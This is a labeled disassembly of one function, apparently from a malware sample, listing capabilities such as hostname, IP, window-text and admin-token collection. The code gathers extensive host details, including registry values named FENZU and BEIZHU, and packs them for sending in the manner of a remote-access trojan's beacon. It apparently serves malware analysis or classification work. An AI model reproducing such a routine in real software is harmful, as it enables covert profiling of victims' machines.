Function at 0x10001470
Capabilities:
Get common file path
Get geographical location
Get graphical window text
Get hostname
Get system information on windows
Get token membership
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2164
call fcn.1001a190
mov eax, dword [0x100351c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xf90
mov dword [ebp - 0x2138], eax
mov dword [ebp - 0x2140], ecx
call fcn.10017fa7
add esp, 4
push 0xf90
mov edi, eax
push 0
push edi
mov dword [ebp - 0x213c], edi
call fcn.10019790
add esp, 0xc
push 0x100
lea edx, [ebp - 0x108]
push 0
push edx
mov byte [edi], 3
call fcn.10019790
add esp, 0xc
push 0x100
lea eax, [ebp - 0x208]
push 0
push eax
call fcn.10019790
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x100015ad
mov eax, dword [esi + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.10018196
add esp, 0xc
push str._n
lea ecx, [ebp - 0x108]
push 0x100
push ecx
call fcn.10018196
movsx edx, word [esi + 0xa]
mov eax, dword [esi + 0xc]
add edx, dword [eax]
add esp, 0xc
cmp edx, dword [esi]
jae 0x100015ad
xor ebx, ebx
mov eax, dword [ebx + eax + 4]
mov ecx, dword [eax]
add ebx, 4
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea edx, [ebp - 0x108]
push 0x100
push edx
call fcn.10018196
add esp, 0xc
push str._n
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.10018196
movsx ecx, word [esi + 0xa]
mov eax, dword [esi + 0xc]
add ecx, dword [ebx + eax]
add esp, 0xc
cmp ecx, dword [esi]
jb 0x10001561
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x108]
push edx
push 0
push 0
call ebx
push eax
lea eax, [edi + 2]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
call ebx
lea edx, [ebp - 0x210]
push edx
mov dword [ebp - 0x210], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x20c]
cmp eax, 0x2bf20
ja 0x10001614
push 0x100314a0
push 0xa
lea eax, [edi + 0x200]
push eax
jmp 0x10001622
push 0x100314a4
push 0xa
lea ecx, [edi + 0x200]
push ecx
call fcn.10018263
add esp, 0xc
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x208]
push edx
push 0
push 0
call ebx
push eax
lea esi, [edi + 0x214]
push esi
push 0xffffffffffffffff
lea eax, [ebp - 0x208]
push eax
push 0
push 0
mov dword [ebp - 0x2130], esi
call ebx
call fcn.10003290
mov ebx, eax
push ebx
push esi
push str._s__n
push 0x64
push esi
call fcn.10018027
add esp, 0x14
test ebx, ebx
je 0x10001680
push ebx
call fcn.10018180
add esp, 4
lea ebx, [edi + 0x2dc]
push str.ntdll.dll
mov dword [ebp - 0x2134], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x1000170d
push str.RtlGetNtVersionNumbers
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100016f6
lea ecx, [ebp - 0x2124]
push ecx
lea edx, [ebp - 0x2128]
push edx
lea ecx, [ebp - 0x212c]
push ecx
call eax
mov eax, dword [ebp - 0x2124]
mov edx, dword [ebp - 0x2128]
and eax, 0xffff
push eax
push edx
mov dword [ebp - 0x2124], eax
mov eax, dword [ebp - 0x212c]
push eax
push str._d._d._d
push 0x1e
push ebx
call fcn.10018027
add esp, 0x18
jmp 0x10001706
push str.error
push 0x1e
push ebx
call fcn.10018027
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea esi, [edi + 0x318]
push esi
mov dword [ebp - 0x2128], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
push esi
push reloc.OLEAUT32.dll_SysReAllocString
mov edx, str.ProcessorNameString
mov ecx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
call fcn.10002ef0
add esp, 0xc
lea ebx, [edi + 0x390]
call fcn.10002de0
lea esi, [edi + 0x520]
call fcn.10003190
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x1000176d
push 0x104
lea ecx, [edi + 0x598]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [edi + 0x796]
push esi
call ebx
push 2
push esi
push SysReAllocString
mov edx, str.FENZU
mov ecx, str.main
call fcn.10002ef0
add esp, 0xc
cmp eax, 1
jge 0x100017ab
push 0x1003965c
push 0x32
push esi
call fcn.10018263
add esp, 0xc
lea esi, [edi + 0x7fa]
push esi
call ebx
push 2
push esi
push SysReAllocString
mov edx, str.BEIZHU
mov ecx, str.main
call fcn.10002ef0
add esp, 0xc
cmp eax, 1
jge 0x100017e3
push 0x100396c0
push 0x32
push esi
call fcn.10018263
add esp, 0xc
mov eax, dword [ebp + 0xc]
push 0xa
push 0x32
lea edx, [edi + 0x85e]
push edx
push eax
call fcn.100183a5
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0xa
push 0x1e
lea ecx, [edi + 0x930]
push ecx
push eax
call fcn.100183a5
xor eax, eax
add esp, 0x10
push 0x100319b0
push str.kernel32.dll
mov dword [ebp - 0x2164], eax
mov dword [ebp - 0x2160], eax
mov dword [ebp - 0x215c], eax
mov dword [ebp - 0x2158], eax
mov dword [ebp - 0x2154], eax
mov dword [ebp - 0x2150], eax
mov dword [ebp - 0x214c], eax
mov dword [ebp - 0x2148], eax
mov dword [ebp - 0x2144], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001872
lea edx, [ebp - 0x2164]
push edx
call eax
jmp 0x1000187f
lea eax, [ebp - 0x2164]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x2164]
mov ecx, 6
cmp cx, ax
je 0x10001899
mov edx, 9
cmp dx, ax
jne 0x100018a9
push 0x1003157c
push 0x1e
lea eax, [edi + 0x96c]
push eax
jmp 0x100018b7
push 0x10031584
push 0x1e
lea ecx, [edi + 0x96c]
push ecx
call fcn.10018263
lea edx, [edi + 0x9a8]
add esp, 0xc
push edx
call fcn.10002c10
add esp, 4
lea eax, [ebp - 0x2124]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0x210]
push ecx
mov dword [ebp - 0x210], 0
mov word [ebp - 0x20c], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x212c], eax
test eax, eax
je 0x1000193d
mov eax, dword [ebp - 0x2124]
lea edx, [ebp - 0x212c]
push edx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 0x2124]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x212c]
cmp eax, 1
lea eax, [edi + 0xa0c]
mov dword [ebp - 0x2124], eax
jne 0x10001955
push 0x1003158c
jmp 0x1000195a
push 0x10031590
push 5
push eax
call fcn.10018263
add esp, 0xc
call fcn.10002990
test eax, eax
je 0x1000197e
push 0x1003158c
push 0xa
lea edx, [edi + 0xa16]
push edx
jmp 0x1000198c
push 0x10031590
push 0xa
lea eax, [edi + 0xa16]
push eax
call fcn.10018263
lea ecx, [edi + 0xa2a]
add esp, 0xc
push ecx
call fcn.10002590
add esp, 4
call fcn.10002340
mov esi, 0x1003158c
test eax, eax
jne 0x100019b6
mov esi, 0x10031590
call fcn.10002190
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push eax
push esi
lea edx, [edi + 0xc28]
push 0x10031594
push edx
call ebx
add esp, 0x10
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x216]
movzx eax, word [ebp - 0x218]
push ecx
movzx ecx, word [ebp - 0x21a]
push edx
movzx edx, word [ebp - 0x21e]
push eax
movzx eax, word [ebp - 0x220]
push ecx
mov ecx, dword [ebp - 0x2140]
push edx
push eax
push ecx
lea edx, [edi + 0x8c2]
push 0x100315a0
push edx
call ebx
add esp, 0x24
lea esi, [edi + 0x926]
push 0x100315e8
push esi
call ebx
add esp, 8
push 0x40
lea eax, [edi + 0xc8c]
push eax
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0x1e00
lea ecx, [ebp - 0x211c]
push 0
push ecx
call fcn.10019790
add esp, 0xc
lea edx, [ebp - 0x2120]
push edx
push 0x10001d80
push 0
push 0
mov dword [ebp - 0x2120], 0
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x2120]
add edi, 0xccc
push eax
call fcn.10001e80
mov edi, dword [ebp - 0x213c]
push 0x32
lea ecx, [edi + 0xeca]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [ebp - 0x318]
push edx
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
test eax, eax
je 0x10001ae3
mov ecx, dword [ebp - 0x2128]
mov edx, dword [ebp - 0x2134]
lea eax, [ebp - 0x314]
push eax
mov eax, dword [ebp - 0x2130]
push ecx
push edx
push eax
lea ecx, [edi + 0xf2e]
push ecx
jmp 0x10001b01
mov edx, dword [ebp - 0x2128]
mov eax, dword [ebp - 0x2134]
mov ecx, dword [ebp - 0x2130]
push 0
push edx
push eax
push ecx
lea edx, [edi + 0xf2e]
push edx
mov edx, dword [ebp - 0x2124]
mov ecx, esi
call fcn.10001b50
mov ecx, dword [ebp - 0x2138]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
add esp, 0x14
push 0xf90
push edi
call edx
push edi
mov esi, eax
call fcn.10017b4d
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10017a1f
mov esp, ebp
pop ebp
ret